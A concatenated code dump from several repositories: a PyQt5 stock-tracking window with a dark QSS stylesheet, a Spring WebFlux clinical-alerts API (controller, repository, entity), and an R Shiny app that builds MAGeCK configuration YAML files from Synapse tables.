"QListView::indicator:indeterminate:focus,\n"
"QListView::indicator:indeterminate:pressed {\n"
" image: url(\":/qss_icons/rc/checkbox_indeterminate_focus.png\");\n"
"}\n"
"\n"
"QTreeView,\n"
"QListView,\n"
"QTableView,\n"
"QColumnView {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" gridline-color: #32414B;\n"
" border-radius: 4px;\n"
"}\n"
"\n"
"QTreeView:disabled,\n"
"QListView:disabled,\n"
"QTableView:disabled,\n"
"QColumnView:disabled {\n"
" background-color: #19232D;\n"
" color: #787878;\n"
"}\n"
"\n"
"QTreeView:selected,\n"
"QListView:selected,\n"
"QTableView:selected,\n"
"QColumnView:selected {\n"
" background-color: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"QTreeView:hover,\n"
"QListView:hover,\n"
"QTableView:hover,\n"
"QColumnView:hover {\n"
" background-color: #19232D;\n"
" border: 1px solid #148CD2;\n"
"}\n"
"\n"
"QTreeView::item:pressed,\n"
"QListView::item:pressed,\n"
"QTableView::item:pressed,\n"
"QColumnView::item:pressed {\n"
" background-color: #1464A0;\n"
"}\n"
"\n"
"QTreeView::item:selected:hover,\n"
"QListView::item:selected:hover,\n"
"QTableView::item:selected:hover,\n"
"QColumnView::item:selected:hover {\n"
" background: #1464A0;\n"
" color: #19232D;\n"
"}\n"
"\n"
"QTreeView::item:selected:active,\n"
"QListView::item:selected:active,\n"
"QTableView::item:selected:active,\n"
"QColumnView::item:selected:active {\n"
" background-color: #1464A0;\n"
"}\n"
"\n"
"QTreeView::item:!selected:hover,\n"
"QListView::item:!selected:hover,\n"
"QTableView::item:!selected:hover,\n"
"QColumnView::item:!selected:hover {\n"
" outline: 0;\n"
" color: #148CD2;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"QTableCornerButton::section {\n"
" background-color: #19232D;\n"
" border: 1px transparent #32414B;\n"
" border-radius: 0px;\n"
"}\n"
"\n"
"/* QHeaderView ------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qheaderview\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QHeaderView {\n"
" background-color: #32414B;\n"
" border: 0px transparent #32414B;\n"
" padding: 0px;\n"
" margin: 0px;\n"
" border-radius: 0px;\n"
"}\n"
"\n"
"QHeaderView:disabled {\n"
" background-color: #32414B;\n"
" border: 1px transparent #32414B;\n"
" padding: 2px;\n"
"}\n"
"\n"
"QHeaderView::section {\n"
" background-color: #32414B;\n"
" color: #F0F0F0;\n"
" padding: 2px;\n"
" border-radius: 0px;\n"
" text-align: left;\n"
"}\n"
"\n"
"QHeaderView::section:checked {\n"
" color: #F0F0F0;\n"
" background-color: #1464A0;\n"
"}\n"
"\n"
"QHeaderView::section:checked:disabled {\n"
" color: #787878;\n"
" background-color: #14506E;\n"
"}\n"
"\n"
"QHeaderView::section::horizontal {\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" border-left: 1px solid #19232D;\n"
"}\n"
"\n"
"QHeaderView::section::horizontal::first, QHeaderView::section::horizontal::only-one {\n"
" border-left: 1px solid #32414B;\n"
"}\n"
"\n"
"QHeaderView::section::horizontal:disabled {\n"
" color: #787878;\n"
"}\n"
"\n"
"QHeaderView::section::vertical {\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" border-top: 1px solid #19232D;\n"
"}\n"
"\n"
"QHeaderView::section::vertical::first, QHeaderView::section::vertical::only-one {\n"
" border-top: 1px solid #32414B;\n"
"}\n"
"\n"
"QHeaderView::section::vertical:disabled {\n"
" color: #787878;\n"
"}\n"
"\n"
"QHeaderView::down-arrow {\n"
" /* Those settings (border/width/height/background-color) solve bug */\n"
" /* transparent arrow background and size */\n"
" background-color: #32414B;\n"
" border: none;\n"
" height: 12px;\n"
" width: 12px;\n"
" padding-left: 2px;\n"
" padding-right: 2px;\n"
" image: url(\":/qss_icons/rc/arrow_down.png\");\n"
"}\n"
"\n"
"QHeaderView::up-arrow {\n"
" background-color: #32414B;\n"
" border: none;\n"
" height: 12px;\n"
" width: 12px;\n"
" padding-left: 2px;\n"
" padding-right: 2px;\n"
" image: url(\":/qss_icons/rc/arrow_up.png\");\n"
"}\n"
"\n"
"/* QToolBox --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qtoolbox\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QToolBox {\n"
" padding: 0px;\n"
" border: 0px;\n"
" border: 1px solid #32414B;\n"
"}\n"
"\n"
"QToolBox:selected {\n"
" padding: 0px;\n"
" border: 2px solid #1464A0;\n"
"}\n"
"\n"
"QToolBox::tab {\n"
" background-color: #19232D;\n"
" border: 1px solid #32414B;\n"
" color: #F0F0F0;\n"
" border-top-left-radius: 4px;\n"
" border-top-right-radius: 4px;\n"
"}\n"
"\n"
"QToolBox::tab:disabled {\n"
" color: #787878;\n"
"}\n"
"\n"
"QToolBox::tab:selected {\n"
" background-color: #505F69;\n"
" border-bottom: 2px solid #1464A0;\n"
"}\n"
"\n"
"QToolBox::tab:selected:disabled {\n"
" background-color: #32414B;\n"
" border-bottom: 2px solid #14506E;\n"
"}\n"
"\n"
"QToolBox::tab:!selected {\n"
" background-color: #32414B;\n"
" border-bottom: 2px solid #32414B;\n"
"}\n"
"\n"
"QToolBox::tab:!selected:disabled {\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"QToolBox::tab:hover {\n"
" border-color: #148CD2;\n"
" border-bottom: 2px solid #148CD2;\n"
"}\n"
"\n"
"QToolBox QScrollArea QWidget QWidget {\n"
" padding: 0px;\n"
" border: 0px;\n"
" background-color: #19232D;\n"
"}\n"
"\n"
"/* QFrame -----------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qframe\n"
"https://doc.qt.io/qt-5/qframe.html#-prop\n"
"https://doc.qt.io/qt-5/qframe.html#details\n"
"https://stackoverflow.com/questions/14581498/qt-stylesheet-for-hline-vline-color\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"/* (dot) .QFrame fix #141, #126, #123 */\n"
".QFrame {\n"
" border-radius: 4px;\n"
" border: 1px solid #32414B;\n"
" /* No frame */\n"
" /* HLine */\n"
" /* HLine */\n"
"}\n"
"\n"
".QFrame[frameShape=\"0\"] {\n"
" border-radius: 4px;\n"
" border: 1px transparent #32414B;\n"
"}\n"
"\n"
".QFrame[frameShape=\"4\"] {\n"
" max-height: 2px;\n"
" border: none;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
".QFrame[frameShape=\"5\"] {\n"
" max-width: 2px;\n"
" border: none;\n"
" background-color: #32414B;\n"
"}\n"
"\n"
"/* QSplitter --------------------------------------------------------------\n"
"\n"
"https://doc.qt.io/qt-5/stylesheet-examples.html#customizing-qsplitter\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QSplitter {\n"
" background-color: #32414B;\n"
" spacing: 0px;\n"
" padding: 0px;\n"
" margin: 0px;\n"
"}\n"
"\n"
"QSplitter::handle {\n"
" background-color: #32414B;\n"
" border: 0px solid #19232D;\n"
" spacing: 0px;\n"
" padding: 1px;\n"
" margin: 0px;\n"
"}\n"
"\n"
"QSplitter::handle:hover {\n"
" background-color: #787878;\n"
"}\n"
"\n"
"QSplitter::handle:horizontal {\n"
" width: 5px;\n"
" image: url(\":/qss_icons/rc/line_vertical.png\");\n"
"}\n"
"\n"
"QSplitter::handle:vertical {\n"
" height: 5px;\n"
" image: url(\":/qss_icons/rc/line_horizontal.png\");\n"
"}\n"
"\n"
"/* QDateEdit, QDateTimeEdit -----------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QDateEdit, QDateTimeEdit {\n"
" selection-background-color: #1464A0;\n"
" border-style: solid;\n"
" border: 1px solid #32414B;\n"
" border-radius: 4px;\n"
" /* This fixes 103, 111 */\n"
" padding-top: 2px;\n"
" /* This fixes 103, 111 */\n"
" padding-bottom: 2px;\n"
" padding-left: 4px;\n"
" padding-right: 4px;\n"
" min-width: 10px;\n"
"}\n"
"\n"
"QDateEdit:on, QDateTimeEdit:on {\n"
" selection-background-color: #1464A0;\n"
"}\n"
"\n"
"QDateEdit::drop-down, QDateTimeEdit::drop-down {\n"
" subcontrol-origin: padding;\n"
" subcontrol-position: top right;\n"
" width: 12px;\n"
" border-left: 1px solid #32414B;\n"
"}\n"
"\n"
"QDateEdit::down-arrow, QDateTimeEdit::down-arrow {\n"
" image: url(\":/qss_icons/rc/arrow_down_disabled.png\");\n"
" height: 8px;\n"
" width: 8px;\n"
"}\n"
"\n"
"QDateEdit::down-arrow:on, QDateEdit::down-arrow:hover, QDateEdit::down-arrow:focus, QDateTimeEdit::down-arrow:on, QDateTimeEdit::down-arrow:hover, QDateTimeEdit::down-arrow:focus {\n"
" image: url(\":/qss_icons/rc/arrow_down.png\");\n"
"}\n"
"\n"
"QDateEdit QAbstractItemView, QDateTimeEdit QAbstractItemView {\n"
" background-color: #19232D;\n"
" border-radius: 4px;\n"
" border: 1px solid #32414B;\n"
" selection-background-color: #1464A0;\n"
"}\n"
"\n"
"/* QAbstractView ----------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"QAbstractView:hover {\n"
" border: 1px solid #148CD2;\n"
" color: #F0F0F0;\n"
"}\n"
"\n"
"QAbstractView:selected {\n"
" background: #1464A0;\n"
" color: #32414B;\n"
"}\n"
"\n"
"/* PlotWidget -------------------------------------------------------------\n"
"\n"
"--------------------------------------------------------------------------- */\n"
"PlotWidget {\n"
" /* Fix cut labels in plots #134 */\n"
" padding: 0px;\n"
"}")
self.centralwidget = QtWidgets.QWidget(Pencere)
self.centralwidget.setObjectName("centralwidget")
self.tableWidget = QtWidgets.QTableWidget(self.centralwidget)
self.tableWidget.setGeometry(QtCore.QRect(10, 260, 691, 291))
self.tableWidget.setRowCount(1000)
self.tableWidget.setColumnCount(5)
self.tableWidget.setObjectName("tableWidget")
self.btn_listele = QtWidgets.QPushButton(self.centralwidget)
self.btn_listele.setGeometry(QtCore.QRect(450, 160, 139, 20))
self.btn_listele.setObjectName("btn_listele")
self.widget = QtWidgets.QWidget(self.centralwidget)
self.widget.setGeometry(QtCore.QRect(100, 10, 281, 181))
self.widget.setObjectName("widget")
self.verticalLayout = QtWidgets.QVBoxLayout(self.widget)
self.verticalLayout.setContentsMargins(0, 0, 0, 0)
self.verticalLayout.setObjectName("verticalLayout")
self.horizontalLayout = QtWidgets.QHBoxLayout()
self.horizontalLayout.setObjectName("horizontalLayout")
self.lbl_serino = QtWidgets.QLabel(self.widget)
self.lbl_serino.setObjectName("lbl_serino")
self.horizontalLayout.addWidget(self.lbl_serino)
spacerItem = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout.addItem(spacerItem)
self.ln_serino = QtWidgets.QLineEdit(self.widget)
self.ln_serino.setClearButtonEnabled(True)
self.ln_serino.setObjectName("ln_serino")
self.horizontalLayout.addWidget(self.ln_serino)
self.verticalLayout.addLayout(self.horizontalLayout)
self.horizontalLayout_2 = QtWidgets.QHBoxLayout()
self.horizontalLayout_2.setObjectName("horizontalLayout_2")
self.lbl_parcaadi = QtWidgets.QLabel(self.widget)
self.lbl_parcaadi.setObjectName("lbl_parcaadi")
self.horizontalLayout_2.addWidget(self.lbl_parcaadi)
spacerItem1 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_2.addItem(spacerItem1)
self.ln_parcaadi = QtWidgets.QLineEdit(self.widget)
self.ln_parcaadi.setClearButtonEnabled(True)
self.ln_parcaadi.setObjectName("ln_parcaadi")
self.horizontalLayout_2.addWidget(self.ln_parcaadi)
self.verticalLayout.addLayout(self.horizontalLayout_2)
self.horizontalLayout_3 = QtWidgets.QHBoxLayout()
self.horizontalLayout_3.setObjectName("horizontalLayout_3")
self.lbl_adet = QtWidgets.QLabel(self.widget)
self.lbl_adet.setObjectName("lbl_adet")
self.horizontalLayout_3.addWidget(self.lbl_adet)
spacerItem2 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_3.addItem(spacerItem2)
self.ln_adet = QtWidgets.QLineEdit(self.widget)
self.ln_adet.setAcceptDrops(True)
self.ln_adet.setInputMethodHints(QtCore.Qt.ImhNone)
self.ln_adet.setInputMask("")
self.ln_adet.setText("")
self.ln_adet.setEchoMode(QtWidgets.QLineEdit.Normal)
self.ln_adet.setCursorPosition(0)
self.ln_adet.setDragEnabled(False)
self.ln_adet.setReadOnly(False)
self.ln_adet.setClearButtonEnabled(True)
self.ln_adet.setObjectName("ln_adet")
self.horizontalLayout_3.addWidget(self.ln_adet)
self.verticalLayout.addLayout(self.horizontalLayout_3)
self.horizontalLayout_4 = QtWidgets.QHBoxLayout()
self.horizontalLayout_4.setObjectName("horizontalLayout_4")
self.lbl_fiyat = QtWidgets.QLabel(self.widget)
self.lbl_fiyat.setObjectName("lbl_fiyat")
self.horizontalLayout_4.addWidget(self.lbl_fiyat)
spacerItem3 = QtWidgets.QSpacerItem(40, 20, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Minimum)
self.horizontalLayout_4.addItem(spacerItem3)
self.ln_fiyat = QtWidgets.QLineEdit(self.widget)
self.ln_fiyat.setInputMethodHints(QtCore.Qt.ImhNone)
self.ln_fiyat.setDragEnabled(False)
self.ln_fiyat.setReadOnly(False)
self.ln_fiyat.setClearButtonEnabled(True)
self.ln_fiyat.setObjectName("ln_fiyat")
self.horizontalLayout_4.addWidget(self.ln_fiyat)
self.verticalLayout.addLayout(self.horizontalLayout_4)
self.widget1 = QtWidgets.QWidget(self.centralwidget)
self.widget1.setGeometry(QtCore.QRect(530, 40, 111, 111))
self.widget1.setObjectName("widget1")
self.verticalLayout_3 = QtWidgets.QVBoxLayout(self.widget1)
self.verticalLayout_3.setContentsMargins(0, 0, 0, 0)
self.verticalLayout_3.setObjectName("verticalLayout_3")
self.btn_sil = QtWidgets.QPushButton(self.widget1)
self.btn_sil.setObjectName("btn_sil")
self.verticalLayout_3.addWidget(self.btn_sil)
self.btn_temizle = QtWidgets.QPushButton(self.widget1)
self.btn_temizle.setObjectName("btn_temizle")
self.verticalLayout_3.addWidget(self.btn_temizle)
self.btn_cikis = QtWidgets.QPushButton(self.widget1)
self.btn_cikis.setObjectName("btn_cikis")
self.verticalLayout_3.addWidget(self.btn_cikis)
self.widget2 = QtWidgets.QWidget(self.centralwidget)
self.widget2.setGeometry(QtCore.QRect(400, 40, 121, 111))
self.widget2.setObjectName("widget2")
self.verticalLayout_2 = QtWidgets.QVBoxLayout(self.widget2)
self.verticalLayout_2.setContentsMargins(0, 0, 0, 0)
self.verticalLayout_2.setObjectName("verticalLayout_2")
self.btn_kaydet = QtWidgets.QPushButton(self.widget2)
self.btn_kaydet.setObjectName("btn_kaydet")
self.verticalLayout_2.addWidget(self.btn_kaydet)
self.btn_guncelle = QtWidgets.QPushButton(self.widget2)
self.btn_guncelle.setObjectName("btn_guncelle")
self.verticalLayout_2.addWidget(self.btn_guncelle)
self.btn_ara = QtWidgets.QPushButton(self.widget2)
self.btn_ara.setObjectName("btn_ara")
self.verticalLayout_2.addWidget(self.btn_ara)
Pencere.setCentralWidget(self.centralwidget)
self.menubar = QtWidgets.QMenuBar(Pencere)
self.menubar.setGeometry(QtCore.QRect(0, 0, 700, 30))
self.menubar.setObjectName("menubar")
Pencere.setMenuBar(self.menubar)
self.statusbar = QtWidgets.QStatusBar(Pencere)
self.statusbar.setObjectName("statusbar")
Pencere.setStatusBar(self.statusbar)
self.retranslateUi(Pencere)
QtCore.QMetaObject.connectSlotsByName(Pencere)
def retranslateUi(self, Pencere):
_translate = QtCore.QCoreApplication.translate
Pencere.setWindowTitle(_translate("Pencere", "Stok Takip"))
self.btn_listele.setText(_translate("Pencere", "LİSTELE"))
self.lbl_serino.setText(_translate("Pencere", "SERİ NO:"))
self.lbl_parcaadi.setText(_translate("Pencere", "Parça Adı:"))
self.lbl_adet.setText(_translate("Pencere", "Adet:"))
self.lbl_fiyat.setText(_translate("Pencere", "Fiyat:"))
self.btn_sil.setText(_translate("Pencere", "SİL"))
self.btn_temizle.setText(_translate("Pencere", "TEMİZLE"))
self.btn_cikis.setText(_translate("Pencere", "ÇIKIŞ"))
self.btn_kaydet.setText(_translate("Pencere", "KAYDET"))
self.btn_guncelle.setText(_translate("Pencere", "GÜNCELLE"))
self.btn_ara.setText(_translate("Pencere", "ARA"))
|
1d55032ace59ce626ff9ef22be361d8a40c83af4
|
[
"Python"
] | 3 |
Python
|
11yavuz11/stok-takip
|
9fcb6554d4158b9f631a1e24024efed9023825dc
|
5c57df9890b7e8b21e0fcec9f01f1aefbfe38ea7
|
refs/heads/master
|
<file_sep>package com.davita.hackathon2018.meaningfulalerts.controller;
import com.davita.hackathon2018.meaningfulalerts.mongo.entity.ClinicalAlert;
import com.davita.hackathon2018.meaningfulalerts.repository.ReactiveClinicalAlertRepository;
import org.springframework.beans.factory.InitializingBean;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.data.mongodb.core.ReactiveMongoOperations;
import org.springframework.http.MediaType;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import reactor.core.publisher.Flux;
import reactor.core.publisher.Mono;
import javax.validation.Valid;
import java.time.Duration;
import java.util.Random;
import java.util.UUID;
@RestController
@RequestMapping(value = "/api")
public class ClinicalAlertController implements InitializingBean {
@Autowired
ReactiveClinicalAlertRepository clinicalAlertRepository;
@Autowired
ReactiveMongoOperations operations;
@CrossOrigin(origins = "http://localhost:3000")
@GetMapping(value = "/alerts", produces = MediaType.TEXT_EVENT_STREAM_VALUE)
public Flux<ClinicalAlert> getAllAlerts(@RequestParam(value = "physicianId") final Long physicianId) {
System.out.println("Get all Alerts...");
return clinicalAlertRepository.findByPhysicianId(physicianId).log().delayElements(Duration.ofMillis(500));
}
@PostMapping("/alerts/create")
public Mono<ClinicalAlert> createCustomer(@Valid @RequestBody ClinicalAlert clinicalAlert) {
System.out.println("Create Customer: " + clinicalAlert.getAlertName() + "...");
clinicalAlert.setId(UUID.randomUUID().toString());
return clinicalAlertRepository.save(clinicalAlert);
}
@Override
public void afterPropertiesSet() throws Exception {
System.out.println("after properties set called");
System.out.println(" collection exists : "+operations.collectionExists(ClinicalAlert.class).block());
/*operations.createCollection("newcustomer", CollectionOptions.empty() //
.size(2048) //
.maxDocuments(200) //
.capped());
System.out.println(" collection exists : "+operations.collectionExists("newcustomer").block());*/
/*operations.collectionExists(Customer.class) //
//.flatMap(exists -> exists ? operations.dropCollection(Customer.class) : Mono.just(exists)) //
.then(operations.createCollection(Customer.class, CollectionOptions.empty() //
.size(2048) //
.maxDocuments(200) //
.capped()));*/
}
}
<file_sep>package com.davita.hackathon2018.meaningfulalerts.repository;
import com.davita.hackathon2018.meaningfulalerts.mongo.entity.ClinicalAlert;
import org.springframework.data.mongodb.repository.Tailable;
import org.springframework.data.repository.reactive.ReactiveCrudRepository;
import reactor.core.publisher.Flux;
public interface ReactiveClinicalAlertRepository extends ReactiveCrudRepository<ClinicalAlert, String> {
@Tailable
Flux<ClinicalAlert> findByPhysicianId(Long physicianId);
}
<file_sep>package com.davita.hackathon2018.meaningfulalerts.mongo.entity;
import com.fasterxml.jackson.annotation.JsonFormat;
import lombok.AllArgsConstructor;
import lombok.Builder;
import lombok.EqualsAndHashCode;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;
import lombok.ToString;
import org.springframework.data.annotation.Id;
import org.springframework.data.mongodb.core.mapping.Document;
import java.util.Date;
@Document(collection = "patientalerts")
public class ClinicalAlert {
@Id
private String id;
private String patientName;
private Long physicianId;
private String value;
private String alertName;
private String alertCategory;
// will say positive/negative/low/high/mvp
private String output;
@JsonFormat
(shape = JsonFormat.Shape.STRING, pattern = "MM/dd/yyyy")
private Date alertDate;
public ClinicalAlert(String id) {
this.id = id;
}
public ClinicalAlert() {
}
public ClinicalAlert(String id, String patientName, Long physicianId, String value, String alertName, String alertCategory, String output, Date alertDate) {
this.id = id;
this.patientName = patientName;
this.physicianId = physicianId;
this.value = value;
this.alertName = alertName;
this.alertCategory = alertCategory;
this.output = output;
this.alertDate = alertDate;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getPatientName() {
return patientName;
}
public void setPatientName(String patientName) {
this.patientName = patientName;
}
public Long getPhysicianId() {
return physicianId;
}
public void setPhysicianId(Long physicianId) {
this.physicianId = physicianId;
}
public String getValue() {
return value;
}
public void setValue(String value) {
this.value = value;
}
public String getAlertName() {
return alertName;
}
public void setAlertName(String alertName) {
this.alertName = alertName;
}
public String getAlertCategory() {
return alertCategory;
}
public void setAlertCategory(String alertCategory) {
this.alertCategory = alertCategory;
}
public String getOutput() {
return output;
}
public void setOutput(String output) {
this.output = output;
}
public Date getAlertDate() {
return alertDate;
}
public void setAlertDate(Date alertDate) {
this.alertDate = alertDate;
}
@Override
public String toString() {
return "ClinicalAlert{" +
"id='" + id + '\'' +
", patientName='" + patientName + '\'' +
", physicianId=" + physicianId +
", value='" + value + '\'' +
", alertName='" + alertName + '\'' +
", alertCategory='" + alertCategory + '\'' +
", output='" + output + '\'' +
", alertDate=" + alertDate +
'}';
}
}
|
7f79b981213c2af569d32f3abe970d8088409dd3
|
[
"Java"
] | 3 |
Java
|
tatharoy/meaningfulalerts
|
9bd545d26b4bc35cfc3bcb1e4567b3d96a49ff95
|
186b17b273ef24e9e9527386d10bc73ffc983e93
|
refs/heads/master
|
<file_sep>using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
namespace Library.API.Controllers
{
using Library.API.Services;
using Microsoft.AspNetCore.Mvc;
public class AuthorsController : Controller
{
private ILibraryRepository libraryRepository;
public AuthorsController(ILibraryRepository libraryRepository)
{
this.libraryRepository = libraryRepository;
}
public IActionResult GetAuthors()
{
var authorsFromRepo = this.libraryRepository.GetAuthors();
return new JsonResult(authorsFromRepo);
}
}
}
|
ff7fd377c9d1e8ce6f23317d6ecb3aeb7ee97c39
|
[
"C#"
] | 1 |
C#
|
capyash/RESTfulAPIAspNetCore_Course
|
a1005cc11ae53075f76cfb447128690940948b13
|
b4e3a0f2c146f00e6b9806d25cc0b92579f24482
|
refs/heads/master
|
<repo_name>Sage-Bionetworks/mageck-configuration<file_sep>/get_synapse_data.R
# Get data from Synapse for the app
download_synapse_table <- function(table_id){
tbl <- synTableQuery(paste("SELECT * FROM",table_id),
includeRowIdAndRowVersion=FALSE)
return(as.data.frame(tbl))
}
# table for count file metadata
count_file_meta_data <- download_synapse_table("syn21763191")
# table for comparison name
comparison_name_data <- download_synapse_table("syn25435509")
# list of current libraries
library_list <- na.omit(unique(count_file_meta_data$LibraryName))
<file_sep>/app.R
library(shiny)
library(synapser)
# Waiter creates a loading screen in shiny
library(waiter)
library(DT)
library(tidyverse)
ui <- fluidPage(
tags$head(
singleton(
includeScript("www/readCookie.js")
)
),
# Application title
uiOutput("title"),
# Sidebar with a slider input for number of bins
titlePanel("Build MAGeCK configuration file"),
fluidRow(
h3("1. Select the treatment count files"),
column(width = 11, offset = 1,
dataTableOutput('treatment_table'),
verbatimTextOutput('selected_treatment')
),
),
fluidRow(
h3("2. Select the control count files"),
column(width = 11, offset = 1,
dataTableOutput('control_table'),
verbatimTextOutput('selected_control')
),
),
fluidRow(
h3("3. Select the reference library"),
column(width = 11, offset = 1,
selectInput('selected_library', "Library Name",choices = c())
)
),
fluidRow(
h3("4. Enter the comparison name"),
h5("Please give a meaningful comparison name and check whether it is unique.
For example, 20201230_Dragonite_Lat_CUL3"),
column(width = 11, offset = 1,
textInput('comparison_name',"Comparison Name"),
actionButton("unique", "Check Uniqueness"),
verbatimTextOutput('unique_name')
)
),
fluidRow(
h3("5. Download the yaml file"),
column(width = 11, offset = 1,
verbatimTextOutput('config_file'),
downloadButton('downloadFile')
)
),
use_waiter(),
waiter_show_on_load(
html = tagList(
img(src = "loading.gif"),
h4("Retrieving Synapse information...")
),
color = "#424874"
)
)
server <- function(input, output, session) {
session$sendCustomMessage(type="readCookie", message=list())
observeEvent(input$cookie, {
# If there's no session token, prompt user to log in
if (input$cookie == "unauthorized") {
waiter_update(
html = tagList(
img(src = "synapse_logo.png", height = "120px"),
h3("Looks like you're not logged in!"),
span("Please ", a("login", href = "https://www.synapse.org/#!LoginPlace:0", target = "_blank"),
" to Synapse, then refresh this page.")
)
)
} else {
### login and update session; otherwise, notify to login to Synapse first
tryCatch({
synLogin(sessionToken = input$cookie, rememberMe = FALSE)
### update waiter loading screen once login successful
waiter_update(
html = tagList(
img(src = "synapse_logo.png", height = "120px"),
h3(sprintf("Welcome, %s!", synGetUserProfile()$userName))
)
)
Sys.sleep(2)
waiter_hide()
}, error = function(err) {
Sys.sleep(2)
waiter_update(
html = tagList(
img(src = "synapse_logo.png", height = "120px"),
h3("Login error"),
span(
"There was an error with the login process. Please refresh your Synapse session by logging out of and back in to",
a("Synapse", href = "https://www.synapse.org/", target = "_blank"),
", then refresh this page."
)
)
)
})
# Any shiny app functionality that uses synapse should be within the
# input$cookie observer
output$title <- renderUI({
titlePanel(sprintf("Welcome, %s", synGetUserProfile()$userName))
})
}
})
source("get_synapse_data.R")
# treatment data table
treatment_table_data <- reactive({
tbl <- count_file_meta_data
filtered_tbl <- tbl %>%
filter(MAGeCKInputType=="treatments")
})
# table for treatment count files
output$treatment_table <- renderDataTable({
treatment_table_data()
},filter = list(position = 'top', clear = FALSE),options = list(pageLength = 5))
# selected for treatment count files
output$selected_treatment <- renderPrint({
selected_row_num <- input$treatment_table_rows_selected
if (length(selected_row_num)) {
tbl <- treatment_table_data()
cat('Treatment files were selected:\n\n')
cat(tbl[selected_row_num,]$id, sep = ', ')
}
})
# control data table
control_table_data <- reactive({
tbl <- count_file_meta_data
filtered_tbl <- tbl %>%
filter(MAGeCKInputType=="control")
})
# table for treatment count files
output$control_table <- renderDataTable({
control_table_data()
},filter = list(position = 'top', clear = FALSE),options = list(pageLength = 5))
# selected for treatment count files
output$selected_control <- renderPrint({
selected_row_num <- input$control_table_rows_selected
if (length(selected_row_num)) {
tbl <- control_table_data()
cat('Conrol files were selected:\n\n')
cat(tbl[selected_row_num,]$id, sep = ', ')
}
})
# synapse IDs for treamtment and control
treatment_ids <- reactive({
ids <- input$treatment_table_rows_selected
treatment_table_data()[ids,]$id
})
control_ids <- reactive({
ids <- input$control_table_rows_selected
control_table_data()[ids,]$id
})
# selection list for reference library
observe({
x <- input$selected_library
# Can use character(0) to remove all choices
if (is.null(x))
x <- character(0)
# Can also set the label and select items
updateSelectInput(session, "selected_library",
choices = library_list,
selected = tail(x, 1)
)
})
# check whether the comparison name is unique
observeEvent(input$unique, {
comparison_name <- input$comparison_name
if(comparison_name %in% comparison_name_data$name){
output_text <- "Sorry! Please use another comparison name."
}else{
output_text <- "This comparisonn name is unique!"
}
output$unique_name <- renderText({output_text})
})
# yaml file
output$config_file <- renderPrint({
cat("library_fileview: syn22344156\n")
cat("output_parent_synapse_id: syn21896733\n")
cat("comparison_name:",input$comparison_name,"\n")
cat("library_name:",input$selected_library,"\n")
cat("treatment_synapse_ids:\n",
paste(lapply(treatment_ids(),function(x)({paste0(" - ",x)})),collapse="\n",sep=""),sep="")
cat("\ncontrol_synapse_ids:\n",
paste(lapply(control_ids(),function(x)({paste0(" - ",x)})),collapse="\n",sep=""),sep="")
})
output$downloadFile <- downloadHandler(
filename = function() {
paste(input$comparison_name,"_config",".yaml", sep = "")
},
content = function(file) {
cat("library_fileview: syn22344156\n",
"output_parent_synapse_id: syn21896733\n",
"comparison_name: ",input$comparison_name,"\n",
"library_name: ",input$selected_library,"\n",
"treatment_synapse_ids:\n",
paste(lapply(treatment_ids(),function(x)({paste0(" - ",x)})),collapse="\n",sep=""),
"\ncontrol_synapse_ids:\n",
paste(lapply(control_ids(),function(x)({paste0(" - ",x)})),collapse="\n",sep=""),
sep = "",
file=file)
},
contentType = "text/plain"
)
}
shinyApp(ui = ui, server = server)
|
91b7b796c1d028486d579abb62755ef3dda4aaa7
|
[
"R"
] | 2 |
R
|
Sage-Bionetworks/mageck-configuration
|
5400b2c6624511d3aed9c9eceb8bd39e1ff3a4ef
|
934d3ffe46b5aac2ab4618a6e57f940f2ef607e8
|
refs/heads/master
|
<repo_name>jixiongxu/APTProject<file_sep>/settings.gradle
include ':app', ':big-container-annotation', ':big-container-process', ':big-container-lib'
<file_sep>/app/src/main/java/com/songwenju/aptproject/MyView.java
package com.songwenju.aptproject;
import android.content.Context;
import android.view.View;
import com.jixiongxu.TemplateView;
@TemplateView("hahahah")
public class MyView extends View {
public MyView(Context context) {
super(context);
}
}
<file_sep>/big-container-process/src/main/java/com/jixiongxu/IBigContainer.java
package com.jixiongxu;
import java.util.Map;
public interface IBigContainer {
void init();
Map<String, String> getIPRouterMeta();
int getTypeByTemplateId(String id);
}
|
65f671cb5e3a959fa849d92416c02b25c454e98b
|
[
"Java",
"Gradle"
] | 3 |
Gradle
|
jixiongxu/APTProject
|
d32afba81717ac669075f2b2788708d5d3c625a5
|
9020e2e682f66329047849a5c39f25eb316a9d67
|
refs/heads/main
|
<repo_name>amitchen93/AI-Project---Reinforcement-Learning-<file_sep>/AI_Final_project-master/rental.py
import constants
